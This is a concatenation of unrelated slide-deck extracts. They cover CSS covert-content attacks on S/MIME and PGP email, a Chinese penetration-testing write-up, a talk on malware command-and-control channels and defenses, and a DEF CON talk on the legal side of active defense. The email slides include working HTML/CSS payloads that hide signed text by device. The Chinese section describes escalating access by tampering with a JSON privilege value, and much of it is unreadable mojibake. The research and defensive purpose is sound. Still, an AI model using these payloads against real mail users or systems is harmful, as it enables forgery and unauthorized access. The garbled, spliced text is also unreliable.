I hereby declare war.
Signature oracle
16
Signature oracle
From: [email protected]
To: [email protected]
Content-type: text/html
What's up Johnny?
<div class="covert"> I hereby declare war. </div>
16
Signature oracle
From: [email protected]
To: [email protected]
Content-type: text/html
<style>
IF condition:
Hide * but show .covert
</style>
What's up Johnny?
<div class="covert">I hereby declare war.</div>
16
Signature oracle
From: [email protected]
To: [email protected]
Content-type: text/html
<style>
@media (max-device-width: 834px) {
.covert {visibility: hidden;}}
</style>
What's up Johnny?
<div class="covert">I hereby declare war.</div>
hide covert
content on
mobile devices
16
Signature oracle
From: [email protected]
To: [email protected]
Content-type: text/html
<style>
@media (max-device-width: 834px) {
.covert {visibility: hidden;}}
@media (min-device-width: 835px) {
* {visibility: hidden;}
.covert {visibility: visible}}
</style>
What's up Johnny?
<div class="covert">I hereby declare war.</div>
but show on
desktop devices
16
I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
17
I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
Reply email sent from
Johnny’s mobile phone
17
I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
Reply email sent from
Johnny’s mobile phone
17
I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
I hereby declare war.
Signed email received
on a desktop device
Reply email sent from
Johnny’s mobile phone
17
Conditional rules
18
• Targeting device type (@media)
Conditional rules
18
• Targeting device type (@media)
• Targeting email client (@supports)
Conditional rules
18
• Targeting device type (@media)
• Targeting email client (@supports)
• Targeting user account (@document)
Conditional rules
18
• Targeting device type (@media)
• Targeting email client (@supports)
• Targeting user account (@document)
Conditional rules
18
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
19
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
19
OS
Client
Decryption
Signatures
S/MIME
PGP
S/MIME
PGP
Windows
Thunderbird
Outlook
Win. 10 Mail
Win Live Mail
The Bat!
Postbox
eM Client
Linux
KMail
Evolution
Trojitá
Claws
Mutt
macOS
Apple Mail
MailMate
Airmail
iOS
Mail App
Android
K-9 Mail
R2Mail2
MailDroid
Nine
Web
Exchange/OWA
Roundcube
Horde/IMP
Mailpile
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
–
Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20
OS
Client
Decryption
Signatures
S/MIME
PGP
S/MIME
PGP
Windows
Thunderbird
●
Outlook
○
Win. 10 Mail
○
Win Live Mail
○
The Bat!
○
Postbox
●
eM Client
○
Linux
KMail
◐
Evolution
◐
Trojitá
◐
Claws
◐
Mutt
◐
macOS
Apple Mail
●
MailMate
●
Airmail
●
iOS
Mail App
●
Android
K-9 Mail
–
R2Mail2
○
MailDroid
○
Nine
○
Web
Exchange/OWA
○
Roundcube
–
Horde/IMP
○
Mailpile
–
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
–
Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20
OS
Client
Decryption
Signatures
S/MIME
PGP
S/MIME
PGP
Windows
Thunderbird
●
●
Outlook
○
○
Win. 10 Mail
○
–
Win Live Mail
○
–
The Bat!
○
○
Postbox
●
●
eM Client
○
○
Linux
KMail
◐
◐
Evolution
◐
◐
Trojitá
◐
◐
Claws
◐
◐
Mutt
◐
◐
macOS
Apple Mail
●
●
MailMate
●
●
Airmail
●
●
iOS
Mail App
●
–
Android
K-9 Mail
–
○
R2Mail2
○
●
MailDroid
○
○
Nine
○
–
Web
Exchange/OWA
○
–
Roundcube
–
◐
Horde/IMP
○
○
Mailpile
–
○
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
–
Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20
OS
Client
Decryption
Signatures
S/MIME
PGP
S/MIME
PGP
Windows
Thunderbird
●
●
●
Outlook
○
○
◐
Win. 10 Mail
○
–
◐
Win Live Mail
○
–
●
The Bat!
○
○
○
Postbox
●
●
●
eM Client
○
○
◐
Linux
KMail
◐
◐
○
Evolution
◐
◐
◐
Trojitá
◐
◐
◐
Claws
◐
◐
○
Mutt
◐
◐
○
macOS
Apple Mail
●
●
◐
MailMate
●
●
●
Airmail
●
●
●
iOS
Mail App
●
–
●
Android
K-9 Mail
–
○
–
R2Mail2
○
●
◐
MailDroid
○
○
●
Nine
○
–
●
Web
Exchange/OWA
○
–
●
Roundcube
–
◐
◐
Horde/IMP
○
○
◐
Mailpile
–
○
–
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
–
Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20
OS
Client
Decryption
Signatures
S/MIME
PGP
S/MIME
PGP
Windows
Thunderbird
●
●
●
●
Outlook
○
○
◐
◐
Win. 10 Mail
○
–
◐
–
Win Live Mail
○
–
●
–
The Bat!
○
○
○
○
Postbox
●
●
●
●
eM Client
○
○
◐
◐
Linux
KMail
◐
◐
○
○
Evolution
◐
◐
◐
◐
Trojitá
◐
◐
◐
◐
Claws
◐
◐
○
○
Mutt
◐
◐
○
○
macOS
Apple Mail
●
●
◐
◐
MailMate
●
●
●
●
Airmail
●
●
●
●
iOS
Mail App
●
–
●
–
Android
K-9 Mail
–
○
–
●
R2Mail2
○
●
◐
◐
MailDroid
○
○
●
●
Nine
○
–
●
–
Web
Exchange/OWA
○
–
●
–
Roundcube
–
◐
◐
◐
Horde/IMP
○
○
◐
◐
Mailpile
–
○
–
○
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
–
Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20
OS
Client
Decryption
Signatures
S/MIME
PGP
S/MIME
PGP
Windows
Thunderbird
●
●
●
●
Outlook
○
○
◐
◐
Win. 10 Mail
○
–
◐
–
Win Live Mail
○
–
●
–
The Bat!
○
○
○
○
Postbox
●
●
●
●
eM Client
○
○
◐
◐
Linux
KMail
◐
◐
○
○
Evolution
◐
◐
◐
◐
Trojitá
◐
◐
◐
◐
Claws
◐
◐
○
○
Mutt
◐
◐
○
○
macOS
Apple Mail
●
●
◐
◐
MailMate
●
●
●
●
Airmail
●
●
●
●
iOS
Mail App
●
–
●
–
Android
K-9 Mail
–
○
–
●
R2Mail2
○
●
◐
◐
MailDroid
○
○
●
●
Nine
○
–
●
–
Web
Exchange/OWA
○
–
●
–
Roundcube
–
◐
◐
◐
Horde/IMP
○
○
◐
◐
Mailpile
–
○
–
○
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
–
Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
21
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
21
Decryption oracles
22
• Accepting ASCII text only
Decryption oracles
22
• Accepting ASCII text only
Decryption oracles
22
• Accepting ASCII text only
• Enforcing digital signatures
Decryption oracles
22
• Accepting ASCII text only
• Enforcing digital signatures
Decryption oracles
22
• Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
Decryption oracles
22
• Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
Decryption oracles
22
• Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
• All-or-Nothing Encryption
Decryption oracles
22
• Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
• All-or-Nothing Encryption
Decryption oracles
Root causes: long-term keys +
ciphertext usage out-of-context
22
Signing oracles
23
• Dropping CSS Support
Signing oracles
23
• Dropping CSS Support
Signing oracles
23
• Dropping CSS Support
• Only ASCII Text in replies
Signing oracles
23
• Dropping CSS Support
• Only ASCII Text in replies
• Remove styles from replies
Signing oracles
23
Conclusion
24
• Crypto is not enough, bypasses exist
Conclusion
24
• Crypto is not enough, bypasses exist
• 22 of 24 tested clients are vulnerable
Conclusion
24
• Crypto is not enough, bypasses exist
• 22 of 24 tested clients are vulnerable
• Building security on top of email is hard
Conclusion
24
• Crypto is not enough, bypasses exist
• 22 of 24 tested clients are vulnerable
• Building security on top of email is hard
Conclusion
Thank you! Questions?
Exploits: github.com/RUB-NDS/Covert-Content-Attacks
24
HTML and CSS support in various email clients
Proprietary conditional features
Blinding options | pdf |
0x01 前言
!"#$%&'('))*)'('+,-)+./00'123456789:;<=
>?@ABC=DEFGHIJKLMNOPQRSTUVW
0x02 渗透日常——单点登录
@A XYZ[\]]^_`aabbbbcbbbbbbbcd+eafa*_-.a0+gh,
i]ej=klmnLopqBCrstu )h.-)+b vw=xyz{
|}~•€=•‚ƒ„z{|=-jg- vw…†7‡ˆ‰Š‹Œ
~••••Ž'
•C•‘=‚’“”R•–—o˜™=Šo†š›œ•
•žŸ =¡¢
£¤¥¦§¨ ]+^©ªª «¬'-®¦§¨ ]+^©ªªªª=u ¯*.^_*h]- 6
7°±²¡¢
³$´}=¤¥µ¶·yvw·k¸y
#$¹º»¼½·k¸y
¾¿†µ•³$ÀÁy¡¢ÂpÃ~Än-®=Å¡¢Ãy-®Æ
67¤¥¡¢
ÇȨkoÉÊ~Ë
u´}ÃÌy-® /e/,bbbb'¤¥ bbbb •‘=ÍÎÏк=•‘Ñ
ÒÓÔp•‘ÑÒ=-®ÂpÕn-®=rÖ×ØÙyŠ
TÌš´}HÚÛu¡¢ÃÌy=-®¤¥•‘T=܆˜ÝÞ?
TU=ßpÝÞ?•‘ÑÒ=àpáâIJã}=kä-®¤¥å
æpçšÜèéåy=܆p¶ê
0x02 Fuzz 目录,出现转机
ëìp†ísëìy=îï )*ðð @‘=ÚÛQñçšaò_a@‘=ó
pÅ ò_ @‘67¡¢=ôõöPÃíÈvwy=ÚÛ÷×ø
#$z{| *,hd+j- ù¥T=ÚÛRú÷×
#$ ò_)h,j-.'('¯*.^_*h]-'=ûüÃßçýyþÿ
vw!HQBC=ÚÛ÷×
"p•‘•••••'Š#~•$~Š%
&'()=mn 0+g+*]*w+pŠ,m•‘$-=‚./0Õ•‘
Íкy-®=ÚÛkl½1y-®2Õly(¸=p3(n=ó
p67´}=45z{| d++6h- 78vw
9:=2/0Õn;<†=(¸=>~n 0+g+*]•
‹?~(×@A=ÚÛRBCD÷×
iš \]]^_`aabbbbc]-,d-,]cd+eafa*_-.a0+gh, •‘'
E÷tu /ebbbb' '©FGHIJ •‘'=KÝÞ¼•‘ÑÒ=àpšLñ
s½1uL-®•‘Ž
³$ÐMy´}=ÚÛyklÂoNO!yÕnI½1~(n=P
Qq-®R•‘=Â,mS¼TUVâWX·YZ‹nˆ[\Ì~]
78¼^)kÄnBC=_`aD~TU=Nb†cmdˆ=ÚÛ
O!ûü ò_ eflyÿg=pmhQižjy=÷ø
kokl~=¦§9:!m¨'^+0/bbbbcbbbbbbcd+e'ÆJ6789
:¡¢=É5O!>?yno=#$ ))*) ÚÛQñR³,mšuy'
/^h ÿg'=通过 f12 调试器得到如图
接下来就很好办了,通过 burpsuite 抓包,修改 JSON 中的 level 值,一发入魂
访问站点
支付宝查询行业经理信息
最后,通过该域名站点 cookie 共用的功能,直接无登录再次拿下某后台
0x03 总结
从单点登录无法利用 ->ffuf 接口->fuzz 可用子域->get 后台 | pdf |
1
threat protection | compliance | archiving & governance | secure communication
Malware Command and Control Channels
- a journey into Darkness -
By Brad Woodberg
-
Emerging Threats Product Manager / Proofpoint
-
@bradmatic517
-
[email protected]
2
Agenda
C2 Intro and Background (7 mins)
Modern C2 Techniques (6 mins)
Case Studies (15 mins)
Predictions for C2 (5 mins)
Defense (10 mins)
Wrap Up (2 mins)
3
Why Command & Control?
Vulnerabilities, Exploits, and Malware grab the headlines and analyst focus
While very interesting, it is also very noisy, many exploits fail, very FP prone.
If you can effectively detect C2 activity, you have a high fidelity indicator that an
asset is actually compromised.
With C2, the tables are turned on attackers, they go on defense, and we go on
offense.
4
Primary Breach Vectors
Modern malware is delivered in one of two ways:
− Executable Content: Binary executables, embedded
executable content like macros typically through web or
email channels on the network.
− Exploit Driven: An exploit against a software vulnerability
such as those against Flash, PDF, Java, Office Docs,
Browsers, and other network enabled applications.
Regardless of how modern malware compromises a
system, it is rarely autonomous.
Dridex
CVE-2016-4117
Angler EK
5
Why malware needs C2?
Initial malware execution may occur under non-ideal scenarios:
Malware may land on a non-target asset
Malware may not have sufficient privileges when it executes
Malware may be delivered in pieces to evade detection / fit into buffers
Malware may require payload before it is malicious (e.g. TinyLoader)
Malware may require coordination with C2 for operating instructions before it
takes action (e.g. Crypto Ransomware waiting to receive a key)
Enter Command and Control
6
Escalation
Complete malware breach by acquiring additional executables, payloads, and
configurations.
− May be as simple as a word doc downloading an EXE (e.g. Dridex),
− Or as complex as a dropper downloading an entirely new malware (e.g. Tinyloader /
AbaddonPoS)
Escalation stage is often carried out by contacting C2 Infrastructure
This communication often leverages different infrastructure, protocols, and
methods than the initial infection.
− Often because infection infrastructure is rented, and C2 is managed by a different actor.
7
Exfiltration
This phase is where the malware
delivers on it’s intended purpose
Exfiltrated data often includes
stealing intellectual property,
exposing attributes of a target
network, or larger escalation of
an attack.
Locky Cataloguing Endpoint
Files to C2
ZBOT (Zeus variant) DNS Covert
Channel
8
Infection in Action: Angler Exploit Kit
Redirect to
Angler
Infrastructure
TDS Evaluates
Target Client
Exploit /
Payload
Delivered
Target
Compromised,
C2
9
Lateral Infection vs. C2
Lateral Infection is not the same as C2!
Lateral Infection focuses on Three Phases:
− Introspection: Local device scanning
− Network Scanning: mapping the network for
potential targets and pivot points.
− Exploit and Spread: Compromise other assets.
LI typically involves using native networking
protocols to scan and spread within an
organization (e.g. Locky using SMB to
encrypt file shares)
LI often spreads by leveraging standard
network protocols like SMB, WMI, SSH, vs.
C2 channels which are often over HTTP/S,
ToR, or custom protocols.
Datacenter
Workstation
Workstation
C2
Lateral
Internet
10
C2 Channel Evolution: Cat and Mouse
Early malware just used fixed non-standard ports to communicate e.g. Back Orifice
1998).
Early malware often heavily leveraged IRC channels for a simple C2 infrastructure
e.g. PrettyPark (1999)
As some organizations tamped down on allowing ports outside of TCP 80/443 to
communicate to the internet, so did malware evolve.
Enter the NGFW which leveraged Layer 7 payload inspection (similar to IPS) to
identify applications rather than attacks.
Layer 3 Network Layer (IP)
Layer 4 Transport Layer (TCP/UDP)
Layer 7 Network Application Layer (HTTP)
Layer [8] Software Application Layer (Dropbox)
Layer [9] Content Layer (Docs, HTML)
Access List
Stateful Firewall
NGFW/IPS
Sandbox/NG-DLP
CASB
Malware noted that keeping explicit strings in the payload would be easy to identify (e.g.
GhostRat). The same is true for potentially unwanted applications like Bittorent / Tor / Skype
which also leveraged evasion techniques.
To evade NGFW and other deep inspection technologies, malware shifted to leverage
steganographic techniques to hide in plain sight. E.g. Sninfs
Finally, malware has evolved even further to leverage highly obfuscated and embedded
communication channels like jpgs, flash, encoded ASCII.
In addition to the advanced obfuscation, malware has gone to great lengths to hide itself in
legitimate, cloud applications.
11
C2 Hosting Evolution
Early days C2 infrastructure was very fixed. Similar to traditional computing, it was physical machines in data centers with
static IP’s.
While DNS was prominent, domain names for malware would not change very quickly.
Configuration Updates via CNC
This weak link made for a great target for vendors providing defense mechanisms. So malware evolved as well to domain
generation algorithms (DGA’s) which could quickly cycle through generated domain names to eliminate single points of
failure. E.g. Conficker
The issue with DGA’s is that the algorithm can be reverse engineered, and it still relies on DNS. Enter P2P Mechanisms
like GameOver-Zeus
To offset the potential disruptions for DGA’s, malware started leveraging common cloud services which enterprises are
adverse to blocking as they may serve a business function.
Timeline
Complexity
Static IP
DNS
Dynamic
Configuration
Updates
DGA
P2P
Common Cloud
Services / Steg
12
C2 & Steg:
"Never write if you can speak; never speak if you can nod; never
nod if you can wink.“
− Martin Lomasney, Gangster, Politician (1859-1933)
Steganography (Steg) is hiding in plain sight. It has been used for centuries
and provides plausible deniability.
Protocol Headers, Metadata in Files, Altering Bits in Data, Unicode &c &c &c.
Examples of how C2 can leverage Steg includes Embedding Configuration in
Images, Audio, Video, File Metadata, and even network protocols!
You can also layer Steg with encryption/encoding for additional obfuscation.
13
C2 Steg Continued
Deterministically identifying when Steg is in use
can be very expensive if not nearly impossible
in many scenarios, especially when processing
network streams in real time.
This makes Steg a perfect choice for enhancing
the robustness of malware C2.
Source: IPv4/V6/TCP Header, LUC http://intronetworks.cs.luc.edu/1/html/tcp.html
OpenPuff: http://embeddedsw.net/OpenPuff_Steganography_Home.html
14
C2 - Counter Offense Techniques
Attackers think economically, want their
malware to last as long as possible thus
bringing the most ROI.
Malware authors utilize several counter
detection techniques to ensure the viability of
their malware.
− Filter who can connect (e.g. IP filtering to
eliminate non-targets, researchers and
sandboxing tools.)
− Secret Handshakes: E.g. leverage custom TCP
stacks or special low level handshakes that only
illicit responses if correct handshake is used (e.g.
Poison Ivy)
− Encryption: Predefined SSL Certificates
embedded in malware for authenticating
client/servers
− Steg:
Anecdotally, we’ve seen an increase in anti-
sandboxing techniques to prevent execution
and avoid detection.
TDS ACL
Vendor/Non
Target IP Space
Target IP Space
256 Byte Challenge Request
256 Byte Challenge Response
Source: Abuse.CH
https://sslbl.abuse.ch/intel/9663b6799ba20d68734cc99aa83d6bbb0506f064
15
C2 Flavors: Crimeware vs. Targeted
Crimeware:
General Purpose
Widely distributed
Go to greater lengths to
evade detection from a
protocol perspective
Yet quite chatty on C2
channels
Targeted:
Highly selective victims
Will be custom built to
navigate individual
networks, common
platforms.
Often does not go to great
lengths from an obfuscation
perspective
Targeted Espionage:
Most exotic form of
malware/C2
Far more sophisticated than
traditional targeted.
May lack network based C2
channels altogether.
May leverage insiders as
well as covert HW to bridge
air gaps.
16
Case Studies
Now that we’ve covered the background and evolution, let’s take a look at actual
malware C2 channels to reinforce our examples.
Note that there are often a great many variants for each malware and some
leverage different communication than the mainstream samples which we will
cover.
17
Gh0stRAT
Basic C2 Protocol
Common strains support a
basic non-encoded string in the
PCAP.
‘Gh0st’ string in initial payload
to identify malware
Non-Standard Port easily
filterable
Further Reading: http://malware-unplugged.blogspot.com/2015/01/hunting-and-decrypting-communications.html
18
PoisonIvy
Unknown Encrypted, 256 Byte
handshake
Does not contain explicit strings in
handshake which are easy to key
on.
Available since 2005, still very
popular and little changed despite
being in the wild so long.
256 Byte Handshake is exchanged
in a CHAP like sequence. Client
sends a hello which allows the
server to prevent it from
communicating with an unknown
client.
The server will only accept the client
communication if it has been
encrypted with the right password.
19
NanoLocker
Some malware leverage
common network utilities
and infrastructure to
embed C2 functionality
NanoLocker leverages
ICMP to ping a hardcoded
address 52.91.55.122 with
an ICMP payload of the
ransomware Bitcoin
address. It will also send
follow up payloads of the
number of files encrypted
on the system.
20
GameOver/Zeus
GameOver / Zeus attempted to
obfuscate its activities by
leveraging P2P protocols to avoid
single points of failure similar to
how traditional P2P filesharing
services work (loosely based on
Kademlia DHT techniques
Zeus leveraged basic rolling XOR
for packet payloads to make
signature based IDS difficult. UDP
Payloads
− Emphasizes the point that often
times the malware authors will just
attempt to stay one step ahead of
security solutions rather than
implement the most state of the art
attacks.
Further Reading: https://www.sans.org/reading-room/whitepapers/detection/analysis-gameover-zeus-network-traffic-35742
21
Dridex using Pastebin as C2 (aka Blind Drop)
Virtually any cloud service
can be used for C2. in this
example Pastebin is
leveraged.
While sites like Pastebin
might be simple to turn off,
Twitter, Amazon, and
Facebook may have
legitimate business
purposes.
Malware may hide in
comments, images, video
and uploaded content.
22
Dalexis: ToR as a C2 Channel
After an initial infection,
malware hops to TOR2Web
a clientless TOR
implementation for C2
Activity
TOR allows botnet
operators to evade
communication snooping in
intermediate systems.
Initial
Compromise
Probing
for TOR
Endpoint
C2
Connection
via
Tor2Web
23
AridViper
Targeted malware which leverages basic HTTP over standard ports to blend in.
This stream is composed of initial client registration to C2 server, along with post
registration activity to validate interesting files on the system.
Arid Viper originally focused on Israeli targets
Source: Proofpoint: https://www.proofpoint.com/us/threat-insight/post/Operation-Arid-Viper-Slithers-Back-Into-View
24
C2 Trends and Projections: Encryption
Encryption:
− SSL adoption has rapidly gained steam in
the last few years, SandVine Projects
70% encryption in 2016
− Let’s Encrypt could be huge game
changer for malware
− Previously cost/overhead was high for
SSL, Let’s Encrypt eliminates this
limitation.
− Won’t impact state sponsored or targeted
attacks much, but will impact Crimeware
heavily.
Source: Ilya Grigorik, Google: https://plus.google.com/+IlyaGrigorik/posts/GboyXCXxjGr
Source: Let’s Encrypt: https://letsencrypt.org/stats/
Source: SandVine Spotlight Encrypted Traffic Report: https://www.sandvine.com/trends/encryption.html
25
C2 Trends and Projections: IPv6
IPv6
− Today IPv4 is still the predominate routed protocol on
the internet, particularly outside of APAC and
universities. This is changing.
− IPv6 presents a big challenge because of the
massive number of IPv6 addresses. E.g. Hurricane
Electric will give you your own /48 of IPv6. That’s
65535 /64 networks, each with
18,446,744,073,709,551,616 hosts!!!
− IPv6 also may expose weaknesses in security
software that does not support it yet or has underlying
flaws and vulnerabilities.
− It is enabled by default in virtually every modern OS!
Source: Google: https://www.google.com/intl/en/ipv6/statistics.html
Source: Hurricane Electric: https://tunnelbroker.net/
Source: Jaws, Roy Schneider 1975
26
C2 Trends and Projections: TOR
TOR
− We’re already seeing an
increase in malware using
TOR
− Ideal channel for
concealment of the C2
− TOR can even be
implemented without a
client using Tor2Web.
Source: Proofpoint ET Intelligence, Unique Malware Samples leveraging TOR
Source: Tor2Web Project: https://www.tor2web.org/
27
Leveraging Cloud Apps
Hiding C2 in Cloud/Web Apps
− This is likely to be a continuing trend. It
helps to solve the attacker challenge of
hosting and potential blacklisting of
standalone C2 infrastructure by overlaying
it on top of cloud applications which often
have business legitimacy.
− This makes it harder to detect and harder
for organizations to take action on
because they cannot block these apps.
− Puts the onus on Cloud providers to
detect malicious activity. The
effectiveness will vary widely depending
on how invested these providers are.
− Cloud apps can be deployed with little
more than an email address, often free
compute infrastructure for attackers!
Source: Alexa Top Websites: https://en.wikipedia.org/wiki/List_of_most_popular_websites
28
Layered Evasions: Ripe for the Picking
Layered Evasions
− Stacking numerous evasions from the IP level up the chain into the application layer to try
to evade malicious activity detection by trying to fool detection capabilities (similar to
traditional IDS layering evasion techniques.
IP Fragmentation
TCP Segment Overlaps
SSL Encryption
HTTP: Chunking, GZIP, Base64,
Embedded Content (Encoding, Compression,
Metadata, Dynamic Content)
IP Protocol 41 (IPv6 in IPv4)
29
Steg Adoption
Steganography
− Hiding in plain sight really is a
powerful covert channel.
− Attackers may choose to take
techniques which are not
computationally difficult to
generate, but are computationally
difficult to detect, especially in real
time network streams.
− Trends will likely be dictated by
pace of security industry defenses
•
Further Reading: http://embeddedsw.net/doc/Thwarting_audio_steganography_attacks_in_cloud_storage_systems.pdf
•
http://embeddedsw.net/doc/Data_hiding_and_steganography_annual_report_2012.pdf
•
Image Source: Inception, Christopher Nolan, 2010
30
C2 Detection Is Critical!
High fidelity Indicator
May prevent malware from successfully executing
May prevent escalation to attack other hosts inside/outside the network
May prevent sensitive data from making it out
Makes more hoops for the attacker to jump through and therefore more
opportunities to make a mistake.
31
Defense Mechanisms Part 1
Eliminate the Known Bad
− Block access to known bad IP’s, countries
− Block Access to Malicious Domains/URL’s
Minimize the network attack surface
− Restrict FW/NGFW to least privilege including
• Restrict Firewall Ports!, no any any any policy
• Block unnecessary / undesirable L7 applications with an NGFW/IPS
• E.g. ToR, ToR2Web, Unknown Binary Strings
• Block unknown / unknown encrypted applications at the perimeter with an NGFW/IPS
• NGFW’s can identify low hanging fruit with AppID, IPS can help to identify potential protocol
anomalies used when malware attempts to masquerade over HTTP/HTTPS ports.
78.23%
4.00%
1.84%
15.93%
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
70.00%
80.00%
90.00%
TCP Port 80
TCP Port 443
TCP/UDP Port <
1024 except
80,443
TCP/UDP Port >
1024
Malware C2 Channels by Port
32
Defense Mechanisms Part 2
Fingerprint Known Malware
− Where possible, identify
malware with both pattern
matching and behavioral
identification from a high
fidelity source. If you can
accurately identify malware
itself, then you can have a
higher degree of confidence
of an infection.
− Especially if you can identify
the malware by it’s C2
channel
33
Defense Mechanisms Part 3
Eliminate SSL Blind Spot with Interception
− SSL Interception is an increasingly important function if it can be leveraged.
− It allows you to not only inspect encrypted streams, but also breaks any malware that uses
predefined certificates / unsupported configurations.
− Try to limit Trusted CA certs wherever possible, especially on SSL Proxy and on endpoints.
This can help to mitigate malware being able to connect to suspicious systems signed by
low trust partners.
− Restrict SSL MiTM to using strong ciphers to potentially break malware using weak /
outdated ciphers.
Detect/Block Known Bad SSL Certs
− Where possible, use IDS or other technology to detect known malicious SSL certs which
provide high fidelity indicators of an attack (even if SSL MiTM isn’t possible)
− Record TLS Certificates observed on network with tools like Suricata or Bro.
− Abuse.CH!
34
Defense Mechanisms Part 4
Heuristics / Anomaly Detection
− Heuristics/Pattern matching is not a perfect catch all for identifying suspicious activity due to
highly evasive techniques, especially when it can be corroborated with other IOC’s.
− One high fidelity indicator of compromise can be to examine DNS data to try to identify
domain generation algorithms used by modern malware.
− Some IDS can also identify this activity, but placement is very important because it needs to
be between the client and the DNS server, otherwise all attacks will look like they are
coming from the DNS server.
Network Anomaly Detection:
− By itself a low fidelity indicator and FP prone, when combined with other techniques,
anomaly detection can provide valuable insight. Particularly when network based
steganography and evasion techniques are used, a good IDS anomaly engine will light up
like a Christmas tree.
35
Defense Mechanisms: Part 5
Review, Tune, and Listen to your Security
Infrastructure! (Give a shit)
−
As we’ve seen with many high profile breaches, it is often the
case that malicious activity is detected, but it isn’t acted upon.
−
Most off the shelf malware and attacks provide many IOC’s to
key on which can be detected by freely available software
and systems.
−
There are commercial and open source solutions available
that can help to solve the problem of the signal to noise,
auxiliary endpoint verification, and end to end IR
containment.
36
Most Importantly
Get Involved!
− Contribute to ET Open, Free Open Source IDS Rules for Suricata and
Snort
– http://doc.emergingthreats.net/bin/view/Main/EmergingFAQ
– [email protected]
− Contribute to OISF / Suricata Development
– https://oisf.net/
– https://suricata-ids.org/
37
Summary
− In modern computer security, it’s not a matter of if, but when, and what they will take, and
how much it will cost you to deal with it.
− The attack surface is simply too massive, to put all of your hopes in the fact that you might
be able to keep malware out.
− In taking the fight to the attackers, we need to be smart, and to holistically detect breaches.
Not only on the initial phases, but perhaps where the attackers are most exposed and we
have the most defensive capabilities to detect them by detecting the C2 channels.
− As we continue to up our game, we should expect that the malicious actors will do the
same, and come up with even more creative ways to leverage the same technology which
can be used for incredible good for their own malicious purposes.
− But at the very least, we can keep them on their game, and further tip the economics of
hacking by making their job that much harder. We’ll do it by exploiting them for a change; at
their weakest point, the command and control channel.
38
Thank You! | pdf |
Legal Aspects of
Full Spectrum
Computer Network
(Active) Defense
def con
2013
Agenda
Disclaimer
Errata
Self Defense in Physical World
Applying Self Defense to Computer Network Defense
Technology
Pen Testing/Red Teaming
Intelligence/Open Source
IA and Training/Polices
Information Control
Active Defense
Deception
Operating on The ―Net‖
Agenda
I have an active defense scenario.
Disclaimer
Disclaimer - aka the fine print
Joint Ethics Regulation
Views are those of the speaker
I’m here in personal capacity
Don’t represent view of government
Disclaimer required at beginning of
presentation.
All material - unclassified
U.S. Law
And Computer
Network Operations
1
Office of Cybersecurity & Communications
Future Strategy
November 9, 2009
Oh yeah,
1986
CFAA
Definition of Special Skills
Special skill – a skill not possessed by members of the general
public and usually requiring substantial education, training or
licensing.
Examples – pilots, lawyers, doctors, accountants, chemists
and demolition experts.
Not necessary to have formal education or training
Skills can be acquired through experience or self-tutelage.
Critical question is whether the skill set elevates to a level of
knowledge and proficiency that eclipses that possessed by the
general public.
United States v. Prochner, 417 F3d. 54 (D. Mass.
July 22, 2005)
In re Innovatio IP Ventures, LLC Patent Litigation,
- - - - F.Supp.2d - - - , 2013 WL 427167 (N.D. Ill.
Feb. 4, 2013)
Patent Owners of wireless Internet technology
Sue commercial users of wireless Internet technology
Alleging by making wireless Internet available to customers or
using it to manage internal processes, users infringed various
claims of 17 patents.
Plaintiff Innovatio has sued numerous hotels, coffee shops,
restaurants, supermarkets, and other commercial users of
wireless internet technology located throughout the United
States (collectively, the ―Wireless Network Users‖).
In re Innovatio IP Ventures, LLC
Patent Litigation & ECPA
In re Innovatio IP Ventures, LLC Patent Litigation,
886 F.Supp.2d 888 (N.D. Ill. Aug. 22, 2012)
Decision
Data packets sent over unencrypted wireless networks
Readily accessible to general public using basic equipment
Patent owner's proposed protocol for sniffing accessed only
communications sent over unencrypted networks available to
general public using packet capture adapters
Falls under exception to Wiretap Act ―electronic
communication is readily accessible to the general public.‖
Evidence obtained using protocol admissible at patent
infringement trial with proper foundation. 18 U.S.C.A. §
2511(2)(g)(i).
In re Innovatio IP Ventures, LLC
Patent Litigation & ECPA
In re Innovatio IP Ventures, LLC Patent Litigation, 88
F.Supp.2d 888 (N.D. Ill. Aug. 22, 2012)
Innovatio intercepting Wi–Fi communications
Riverbed AirPcap Nx packet capture adapter (only $698.00)
Software (wireshark) available for download for free.
Laptop, software, packet capture adapter-
Any member of general public within range of an
unencrypted Wi–Fi network can intercept.
Many Wi–Fi networks provided by commercial
establishments are unencrypted and open to such
interference from anyone with the right equipment.
In light of the ease of ―sniffing‖ Wi–Fi networks, the court
concludes that the communications sent on an unencrypted Wi–Fi
network are readily accessible to the general public.
In re Innovatio IP Ventures, LLC
Patent Litigation & ECPA
